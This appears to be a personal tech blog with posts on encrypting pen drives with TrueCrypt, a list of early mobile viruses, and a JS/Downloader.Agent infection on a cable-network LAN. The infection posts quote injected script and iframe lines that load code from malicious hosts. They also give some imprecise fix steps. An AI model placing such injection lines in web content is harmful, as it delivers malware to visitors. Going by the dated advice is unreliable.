Web Trac

How to lock or secure pen drive

Sometimes we store data on pen drive that we do not want to share with our family, friends or colleague. But most of people do not care about pen drives too much. They just leave it here and there. But we forget that data stored on pen drive can easily be seen by anyone. We must use some software to lock/encrypt or make pen drives password protected.

Here is good a and free software that can do it: http://www.TrueCrypt.org

How it works??

TrueCrypt is a software system for establishing and maintaining an on-the-fly-encrypted volume (data storage device). On-the-fly encryption means that data are automatically encrypted or decrypted right before they are loaded or saved, without any user intervention. No data stored on an encrypted volume can be read (decrypted) without using the correct password/keyfile(s) or correct encryption keys. Entire file system is encrypted (e.g., file names, folder names, contents of every file, free space, meta data, etc).

Let’s suppose that there is an .avi video file stored on a TrueCrypt volume (therefore, the video file is entirely encrypted). The user provides the correct password (and/or keyfile) and mounts (opens) the TrueCrypt volume. When the user double clicks the icon of the video file, the operating system launches the application associated with the file type – typically a media player. The media player then begins loading a small initial portion of the video file from the TrueCrypt-encrypted volume to RAM (memory) in order to play it. While the portion is being loaded, TrueCrypt is automatically decrypting it (in RAM). The decrypted portion of the video (stored in RAM) is then played by the media player. While this portion is being played, the media player begins loading next small portion of the video file from the TrueCrypt-encrypted volume to RAM (memory) and the process repeats. This process is called on-the-fly encryption/decryption and it works for all file types, not only for video files.

Mobile viruses that can infect you cell phone

If you are thinking that it’s just you PC that can have viruses, then you may be wrong. Just like Your PC or your lappy, your cell phone may also get infected with viruses.

Here is few common mobile viruses:

Cabir: Infects mobile phones running on Symbian OS. When a phone is infected, the message ‘Caribe’ is displayed on the phone’s display and is displayed every time the phone is turned on. The worm then attempts to spread to other phones in the area using wireless Bluetooth signals.

Duts: A parasitic file infector virus and is the first known virus for the PocketPC platform. It attempts to infect all EXE files in the current directory (infects files that are bigger than 4096 bytes)

Skulls: A trojan horse piece of code. Once downloaded, the virus, called Skulls, replaces all phone desktop icons with images of a skull. It also renders all phone applications, including SMSes and MMSes useless

Commwarrior: First worm to use MMS messages in order to spread to other devices. Can spread through Bluetooth too. It infects devices running under OS Symbian Series 60. The executable worm file once launched hunts for accessible Bluetooth devices and sends the infected files under a random name to various devices.

Source: http://en.wikipedia.org/wiki/Mobile_virus

hk.www404.cn:53/ads.js

This JS/Downloader.Agent virus is keep changing it’s location.

Now source code of every web page show these lines at the top of page.

<script src=”xx http://hk.www404.cn:53/ads.js xx ” language=”javascript”></script> [ xx added intently don't visit this linke.]

If your network is also facing the same problem then then best suggestion that change your ISP. In fact this the only solution of this problem.

If you can’t change your ISP then at least do not use Internet Explorer. If you are using Internet Explorer 6 or older version then chances of getting infected is high.

I always use FireFox, Because it is faster and secure. You can download it from following link:

UPDATE:
Latest injected code is:
iframe src=’http://net.jopppqq.com/ad/vip.htm’ width=100 height=1, so now the virus is hosted on jopppqq.com.

g.asdafdgfgf.com is now u.asdafdgfgf.com

Every thing was ok in last month, but since last few days JS/Downloader.Agent virus is back again. Seems our network have still some infected computer or they are infected again.
This time this virus has changed it’s location from g.asdafdgfgf to u.asdafdgfgf.com.

While our cable operator is trying to find the machine which is infected with the virus I’m trying a trick which is working for me. Well it’s simple: just turned of Javascript option. It’s working for me. I’m using FireFox browser Avast antivirus (4.8 Home edition).

Here is how you can disable JavaScript in FireFox:
Tools =>option and then click on “Content” tab. Now uncheck Enable JavaScript.

Disable JavaScript in IE 7.x, 6.x, and 5.x

1. Open Internet Explorer.
2. Select Internet Options from the Tools menu.
3. In Internet Options dialog box select the Security tab.
4. Click Custom level button at bottom right. The Security settings dialog box will pop up.
5. Under Scripting category check Active Scripting, Allow paste options via script and Scripting of Java applets
6. Check radio boxes.
7. Click OK twice to close out.

Update: Removing JS/Downloader.Agent virus

This is just an update of my last post Removing JS/Downloader.Agent virus. I’m still not able to get rid of the problem but seems found the root of the problem.

The tool that I suggested in last post is just a temporary solution. Actual problem is that my computer is not infected, it is other infected computer(s) in our Cable networks LAN . AVG antivirus is just stopping the virus to infect my computer.

When I posted my problem on few other tech forums they said that either my computer is infected or I am regularly visiting some site which are infected or AVG is just identifying a normal file as a virus. Someone suggested me that I should use other anitivirus. So I downloaded Avast home edition which is a free to use antivirus software.

Avast also detecting the same virus just with different name, it also showing location from where it trying to download. Well it is http://g.asdafdgfgf.com/ads.js [don't visit this site].

When I did a search about this link, I found very helpful and informative thread at DevNetwork Forum..

There several peoples are complaining about the same problem. Going through each post, what I understood that:

At first it downloads a copy of ads.js file from http://g.asdafdgfgf.com/ [don't visit this site] in an unprotected computer. Then it downloads and execute ADS.EXE file.

ADS.EXE has been seen to perform the following behavior(s):

• Executes a Process
• Creates a TCP port which listens and is available for communication initiated by other computers
• The Process is packed and/or encrypted using a software packing process

ADS.EXE has been the subject of the following behavior(s):

• Created as a new Background Service on the machine
• Created as a process on disk
• Executed as a Process
• Added as a Registry auto start to load Program on Boot up

More information on this file can be found at : SpywareData.com and Prevx.com.

Since the problem is not in my computer and it is in someone else computer in our Cable networks LAN so only cable operator can help me in this matter.

Removing the infected computer(s) from LAN is the only solution of this problem. In the forum someone suggested a tool for cable operator that help in finding the infected computer. This tool can be downloaded from http://www.arechisoft.com/. A cable operator of Andheri/Mumbai, have explained how they were successfully get rid of this problem. Here is it if you wants to read: http://forums.devnetwork.net/viewtopic.php?p=438910#p438910

Since only the cable operator can help me in this matter, I’m trying to contact them, let’s see how long does it take.

Tags: Downloader.Agent, LAN, virus

Removing JS/Downloader.Agent virus

Don’t know how but my computer infected by a virus called JS/Downloader.Agent. When ever I was starting Internet explored, I was getting the warning message from AVG Antivirus. I deleted it several times but it was coming back in every 2/3 min. The virus was coming with .js or .htm extension and was storing in some sub folder of ‘temporary internet files’ folder.

Whole day I tried to find a way to remove the virus, deleted a all the files/cookies of temporary internet file. Scanned whole computer 3/4 times with AVG Antivirus and few other anti virus softwares and spyware removal tools and other tools found from Google. None of them worked.

Finally I found a tool named “SmitFraudFix” from here. I downloaded this tool and followed the instruction. After that I’ve not got any warning in last two days. Seems this tool is really capable to remove this JS/Downloader.Agent virus.

Please note that I am not asking you to use this tool, this is my personal experience, there may be exist a better tool to remove this JS/Downloader.Agent virus. But this what I found useful and shearing it here with you. If you can suggest me a better then this one then I will be very thank full to you.

Tags: Antivirus, JS/Downloader.Agent, virus